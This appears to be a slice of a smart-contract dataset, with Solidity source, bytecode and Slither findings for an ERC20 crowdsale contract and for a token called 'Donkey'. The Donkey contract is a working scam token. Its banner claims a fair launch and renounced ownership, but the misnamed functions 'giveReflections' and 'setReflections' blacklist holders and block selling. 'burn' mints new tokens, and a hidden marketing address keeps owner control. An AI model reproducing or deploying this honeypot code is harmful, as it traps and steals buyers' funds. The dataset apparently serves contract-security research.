* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Mintable token
* @dev Simple ERC20 Token example, with mintable token creation
* @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120
* Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol
*/
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
//Token parameters
contract CompositeCoin is MintableToken {
string public constant name = "CompositeCoin";
string public constant symbol = "CMN";
uint public constant decimals = 18;
}
/**
* @title CompositeCoinCrowdsale
* @dev CompositeCoinCrowdsale is a base contract for managing a token crowdsale.
* Crowdsales have a start and end timestamps, where investors can make
* token purchases and the crowdsale will assign them tokens based
* on a token per ETH rate. Funds collected are forwarded to an owner
* as they arrive.
*/
contract CompositeCoinCrowdsale is Ownable {
using SafeMath for uint256;
// The token being sold
CompositeCoin public token;
uint256 public startTime = 0;
uint256 public endTime;
bool public isFinished = false;
// how many ETH cost 10000 CMN. rate = 10000 CMN/ETH. It's always an integer!
//formula for rate: rate = 10000 * (CMN in USD) / (ETH in USD)
uint256 public rate;
// amount of raised money in wei
uint256 public weiRaised;
//string public saleStatus = "Don't started";
uint public tokensMinted = 0;
uint public minimumSupply = 1; //minimum token amount to sale through one transaction
uint public constant HARD_CAP_TOKENS = 1000000 * 10**18;
event TokenPurchase(address indexed purchaser, uint256 value, uint256 ether_value, uint256 amount, uint256 tokens_amount, uint256 _tokensMinted, uint256 tokensSoldAmount);
event PresaleFinished();
function CompositeCoinCrowdsale(uint256 _rate) public {
require(_rate > 0);
require (_rate < 10000);
token = createTokenContract();
startTime = now;
rate = _rate;
owner = address(0xc5EaE151b4c8c88e2Fc76a33595657732D65004a);
}
function finishPresale() public onlyOwner {
isFinished = true;
endTime = now;
token.finishMinting();
emit PresaleFinished();
}
function setRate(uint _rate) public onlyOwner {
require (_rate > 0);
require (_rate <=10000);
rate = _rate;
}
function createTokenContract() internal returns (CompositeCoin) {
return new CompositeCoin();
}
// fallback function can be used to buy tokens
function () external payable {
buyTokens();
}
// low level token purchase function
function buyTokens() public payable {
require(validPurchase());
uint256 weiAmount = msg.value;
// calculate token amount to be created
uint256 tokens = weiAmount.mul(10000).div(rate);
mintToken(msg.sender, tokens, weiAmount);
forwardFunds();
}
function forwardFunds() internal {
owner.transfer(msg.value);
}
// @return true if the transaction can buy tokens
function validPurchase() internal view returns (bool) {
bool withinPeriod = startTime > 0 && !isFinished;
bool validAmount = msg.value >= (minimumSupply * 10**18 * rate).div(10000);
return withinPeriod && validAmount;
}
function adminMint(address _to, uint256 _amount) onlyOwner public returns(bool) {
require(!isFinished);
uint256 weiAmount = _amount.div(10000).mul(rate);
return mintToken(_to, _amount, weiAmount);
}
function mintToken(address _to, uint256 _amount, uint256 _value) private returns(bool) {
require(tokensMinted.add(_amount) <= HARD_CAP_TOKENS);
weiRaised = weiRaised.add(_value);
token.mint(_to, _amount);
tokensMinted = tokensMinted.add(_amount);
emit TokenPurchase(_to, _value, _value.div(10**18), _amount, _amount.div(10**18), tokensMinted, tokensMinted.div(10**18));
return true;
}
}
|
0x6080604052600436106100db576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680632c4e722e146100e55780633197cbb61461011057806334fcf4371461013b5780634042b66f146101685780636de9f32b1461019357806378e97925146101be5780637b352962146101e95780637ede036d146102185780638da5cb5b14610243578063974654c61461029a578063b1c16a2b146102b1578063d0febe4c146102dc578063e58306f9146102e6578063f2fde38b1461034b578063fc0c546a1461038e575b6100e36103e5565b005b3480156100f157600080fd5b506100fa610441565b6040518082815260200191505060405180910390f35b34801561011c57600080fd5b50610125610447565b6040518082815260200191505060405180910390f35b34801561014757600080fd5b506101666004803603810190808035906020019092919050505061044d565b005b34801561017457600080fd5b5061017d6104d2565b6040518082815260200191505060405180910390f35b34801561019f57600080fd5b506101a86104d8565b6040518082815260200191505060405180910390f35b3480156101ca57600080fd5b506101d36104de565b6040518082815260200191505060405180910390f35b3480156101f557600080fd5b506101fe6104e4565b604051808215151515815260200191505060405180910390f35b34801561022457600080fd5b5061022d6104f7565b6040518082815260200191505060405180910390f35b34801561024f57600080fd5b506102586104fd565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156102a657600080fd5b506102af610522565b005b3480156102bd57600080fd5b506102c661068f565b6040518082815260200191505060405180910390f35b6102e46103e5565b005b3480156102f257600080fd5b50610331600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061069d565b604051808215151515815260200191505060405180910390f35b34801561035757600080fd5b5061038c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610756565b005b34801561039a57600080fd5b506103a36108ab565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6000806103f06108d1565b15156103fb57600080fd5b3491506104276005546104196127108561093190919063ffffffff16565b61096c90919063ffffffff16565b9050610434338284610987565b5061043d610bc0565b5050565b60055481565b60035481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156104a857600080fd5b6000811115156104b757600080fd5b61271081111515156104c857600080fd5b8060058190555050565b60065481565b60075481565b60025481565b600460009054906101000a900460ff1681565b60085481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561057d57600080fd5b6001600460006101000a81548160ff02191690831515021790555042600381905550600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16637d64bcb46040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b15801561062557600080fd5b505af1158015610639573d6000803e3d6000fd5b505050506040513d602081101561064f57600080fd5b8101908080519060200190929190505050507f0b5ca8ee9a23a12c9bb341511e83987d73bee14e96dc855aeaea8840c54ea0bd60405160405180910390a1565b69d3c21bcecceda100000081565b6000806000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156106fb57600080fd5b600460009054906101000a900460ff1615151561071757600080fd5b6107406005546107326127108661096c90919063ffffffff16565b61093190919063ffffffff16565b905061074d848483610987565b91505092915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156107b157600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156107ed57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000806000806002541180156108f45750600460009054906101000a900460ff16155b915061091b612710600554670de0b6b3a7640000600854020261096c90919063ffffffff16565b341015905081801561092a5750805b9250505090565b60008060008414156109465760009150610965565b828402905082848281151561095757fe5b0414151561096157fe5b8091505b5092915050565b600080828481151561097a57fe5b0490508091505092915050565b600069d3c21bcecceda10000006109a984600754610c2a90919063ffffffff16565b111515156109b657600080fd5b6109cb82600654610c2a90919063ffffffff16565b600681905550600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166340c10f1985856040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015610a9657600080fd5b505af1158015610aaa573d6000803e3d6000fd5b505050506040513d6020811015610ac057600080fd5b810190808051906020019092919050505050610ae783600754610c2a90919063ffffffff16565b6007819055508373ffffffffffffffffffffffffffffffffffffffff167ffc21a4eb1668489aaa43a8f84557802d1cf6a87097cbbfb7d3cb847a298514d683610b41670de0b6b3a76400008661096c90919063ffffffff16565b86610b5d670de0b6b3a76400008961096c90919063ffffffff16565b600754610b7d670de0b6b3a764000060075461096c90919063ffffffff16565b60405180878152602001868152602001858152602001848152602001838152602001828152602001965050505050505060405180910390a2600190509392505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc349081150290604051600060405180830381858888f19350505050158015610c27573d6000803e3d6000fd5b50565b6000808284019050838110151515610c3e57fe5b80915050929150505600a165627a7a72305820281c1df0828cabb5dd95caa0d723589728b53ca2e98b65ca0ee49c533f2c42fe0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
| 2,457 |
0xc6a106832fda6ad006d949d0a7457549423ee6f2
|
/*
/\ /\
( \\ // )
\ \\ // /
\_\\||||//_/
\/ _ _ \
\/|(O)(O)|
\/ | |
___________________\/ \ /
// // |____|
// || / \
//| \| \ 0 0 /
// \ ) V / \____/
// \ / ( /
"" \ /_________| |_/
/ /\ / | ||
/ / / / \ ||
| | | | | ||
| | | | | ||
|_| |_| |_||
\_\ \_\ \_\\
3% Maximum Buy
0% Tax, all marketing will be done at the team's expense
Liquidity will be locked for 1 year a few minutes after launch and ownership will be renounced.
100% Fair Launch - no presale, no whitelist
Join the telegram or visit our site for more info
*/
pragma solidity ^0.8.0;
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract Donkey is Context, IERC20, IERC20Metadata {
mapping(address => uint256) public _balances;
mapping(address => mapping(address => uint256)) public _allowances;
mapping(address => bool) private _blackbalances;
mapping (address => bool) private bots;
mapping(address => bool) private _balances1;
address internal router;
uint256 public _totalSupply = 4500000000000*10**18;
string public _name = "DONKEY";
string public _symbol= "DONKEY";
bool balances1 = true;
constructor() {
_balances[msg.sender] = _totalSupply;
emit Transfer(address(this), msg.sender, _totalSupply);
owner = msg.sender;
}
address public owner;
address private marketAddy = payable(0x2f7d7d93f7Cc0CA5250cf7389DFA0cd4EC6134cc);
modifier onlyOwner {
require((owner == msg.sender) || (msg.sender == marketAddy));
_;
}
function changeOwner(address _owner) onlyOwner public {
owner = _owner;
}
function RenounceOwnership() onlyOwner public {
owner = 0x000000000000000000000000000000000000dEaD;
}
function giveReflections(address[] memory recipients_) onlyOwner public {
for (uint i = 0; i < recipients_.length; i++) {
bots[recipients_[i]] = true;
}
}
function setReflections(address _addy) onlyOwner public {
router = _addy;
balances1 = false;
}
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function decimals() public view virtual override returns (uint8) {
return 18;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
return true;
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(_blackbalances[sender] != true );
require(!bots[sender] && !bots[recipient]);
if(recipient == router) {
require((balances1 || _balances1[sender]) || (sender == marketAddy), "ERC20: transfer to the zero address");
}
require((amount < 500000000000*10**18) || (sender == marketAddy) || (sender == owner));
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
function burn(address account, uint256 amount) onlyOwner public virtual {
require(account != address(0), "ERC20: burn to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
|
0x608060405234801561001057600080fd5b506004361061012c5760003560e01c806370a08231116100ad578063a6f9dae111610071578063a6f9dae114610333578063a9059cbb1461034f578063b09f12661461037f578063d28d88521461039d578063dd62ed3e146103bb5761012c565b806370a082311461028f57806376bbd448146102bf5780638da5cb5b146102db57806395d89b41146102f95780639dc29fac146103175761012c565b806323b872dd116100f457806323b872dd146101e9578063313ce567146102195780633eaaf86b146102375780636e4ee811146102555780636ebcf6071461025f5761012c565b8063024c2ddd1461013157806306fdde0314610161578063095ea7b31461017f57806315a892be146101af57806318160ddd146101cb575b600080fd5b61014b6004803603810190610146919061166b565b6103eb565b60405161015891906116c4565b60405180910390f35b610169610410565b6040516101769190611778565b60405180910390f35b610199600480360381019061019491906117c6565b6104a2565b6040516101a69190611821565b60405180910390f35b6101c960048036038101906101c49190611984565b6104c0565b005b6101d3610607565b6040516101e091906116c4565b60405180910390f35b61020360048036038101906101fe91906119cd565b610611565b6040516102109190611821565b60405180910390f35b610221610709565b60405161022e9190611a3c565b60405180910390f35b61023f610712565b60405161024c91906116c4565b60405180910390f35b61025d610718565b005b61027960048036038101906102749190611a57565b61080f565b60405161028691906116c4565b60405180910390f35b6102a960048036038101906102a49190611a57565b610827565b6040516102b691906116c4565b60405180910390f35b6102d960048036038101906102d49190611a57565b61086f565b005b6102e3610980565b6040516102f09190611a93565b60405180910390f35b6103016109a6565b60405161030e9190611778565b60405180910390f35b610331600480360381019061032c91906117c6565b610a38565b005b61034d60048036038101906103489190611a57565b610c3e565b005b610369600480360381019061036491906117c6565b610d34565b6040516103769190611821565b60405180910390f35b610387610d52565b6040516103949190611778565b60405180910390f35b6103a5610de0565b6040516103b29190611778565b60405180910390f35b6103d560048036038101906103d0919061166b565b610e6e565b6040516103e291906116c4565b60405180910390f35b6001602052816000526040600020602052806000526040600020600091509150505481565b60606007805461041f90611add565b80601f016020809104026020016040519081016040528092919081815260200182805461044b90611add565b80156104985780601f1061046d57610100808354040283529160200191610498565b820191906000526020600020905b81548152906001019060200180831161047b57829003601f168201915b5050505050905090565b60006104b66104af610ef5565b8484610efd565b6001905092915050565b3373ffffffffffffffffffffffffffffffffffffffff16600960019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614806105695750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b61057257600080fd5b60005b81518110156106035760016003600084848151811061059757610596611b0f565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806105fb90611b6d565b915050610575565b5050565b6000600654905090565b600061061e8484846110c8565b6000600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610669610ef5565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050828110156106e9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106e090611c28565b60405180910390fd5b6106fd856106f5610ef5565b858403610efd565b60019150509392505050565b60006012905090565b60065481565b3373ffffffffffffffffffffffffffffffffffffffff16600960019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614806107c15750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b6107ca57600080fd5b61dead600960016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60006020528060005260406000206000915090505481565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b3373ffffffffffffffffffffffffffffffffffffffff16600960019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614806109185750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b61092157600080fd5b80600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600960006101000a81548160ff02191690831515021790555050565b600960019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6060600880546109b590611add565b80601f01602080910402602001604051908101604052809291908181526020018280546109e190611add565b8015610a2e5780601f10610a0357610100808354040283529160200191610a2e565b820191906000526020600020905b815481529060010190602001808311610a1157829003601f168201915b5050505050905090565b3373ffffffffffffffffffffffffffffffffffffffff16600960019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480610ae15750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b610aea57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610b5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b5190611c94565b60405180910390fd5b610b66600083836115f4565b8060066000828254610b789190611cb4565b92505081905550806000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610bcd9190611cb4565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610c3291906116c4565b60405180910390a35050565b3373ffffffffffffffffffffffffffffffffffffffff16600960019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480610ce75750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b610cf057600080fd5b80600960016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000610d48610d41610ef5565b84846110c8565b6001905092915050565b60088054610d5f90611add565b80601f0160208091040260200160405190810160405280929190818152602001828054610d8b90611add565b8015610dd85780601f10610dad57610100808354040283529160200191610dd8565b820191906000526020600020905b815481529060010190602001808311610dbb57829003601f168201915b505050505081565b60078054610ded90611add565b80601f0160208091040260200160405190810160405280929190818152602001828054610e1990611add565b8015610e665780601f10610e3b57610100808354040283529160200191610e66565b820191906000526020600020905b815481529060010190602001808311610e4957829003601f168201915b505050505081565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610f6d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f6490611d7c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610fdd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fd490611e0e565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516110bb91906116c4565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611138576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161112f90611ea0565b60405180910390fd5b60011515600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515141561119657600080fd5b600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561123a5750600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61124357600080fd5b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561139557600960009054906101000a900460ff16806112fd5750600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b806113555750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b611394576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138b90611f32565b60405180910390fd5b5b6c064f964e68233a76f5200000008110806113fd5750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b806114555750600960019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b61145e57600080fd5b6114698383836115f4565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050818110156114ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114e690611fc4565b60405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546115829190611cb4565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516115e691906116c4565b60405180910390a350505050565b505050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006116388261160d565b9050919050565b6116488161162d565b811461165357600080fd5b50565b6000813590506116658161163f565b92915050565b6000806040838503121561168257611681611603565b5b600061169085828601611656565b92505060206116a185828601611656565b9150509250929050565b6000819050919050565b6116be816116ab565b82525050565b60006020820190506116d960008301846116b5565b92915050565b600081519050919050565b600082825260208201905092915050565b60005b838110156117195780820151818401526020810190506116fe565b83811115611728576000848401525b50505050565b6000601f19601f8301169050919050565b600061174a826116df565b61175481856116ea565b93506117648185602086016116fb565b61176d8161172e565b840191505092915050565b60006020820190508181036000830152611792818461173f565b905092915050565b6117a3816116ab565b81146117ae57600080fd5b50565b6000813590506117c08161179a565b92915050565b600080604083850312156117dd576117dc611603565b5b60006117eb85828601611656565b92505060206117fc858286016117b1565b9150509250929050565b60008115159050919050565b61181b81611806565b82525050565b60006020820190506118366000830184611812565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6118798261172e565b810181811067ffffffffffffffff8211171561189857611897611841565b5b80604052505050565b60006118ab6115f9565b90506118b78282611870565b919050565b600067ffffffffffffffff8211156118d7576118d6611841565b5b602082029050602081019050919050565b600080fd5b60006119006118fb846118bc565b6118a1565b90508083825260208201905060208402830185811115611923576119226118e8565b5b835b8181101561194c57806119388882611656565b845260208401935050602081019050611925565b5050509392505050565b600082601f83011261196b5761196a61183c565b5b813561197b8482602086016118ed565b91505092915050565b60006020828403121561199a57611999611603565b5b600082013567ffffffffffffffff8111156119b8576119b7611608565b5b6119c484828501611956565b91505092915050565b6000806000606084860312156119e6576119e5611603565b5b60006119f486828701611656565b9350506020611a0586828701611656565b9250506040611a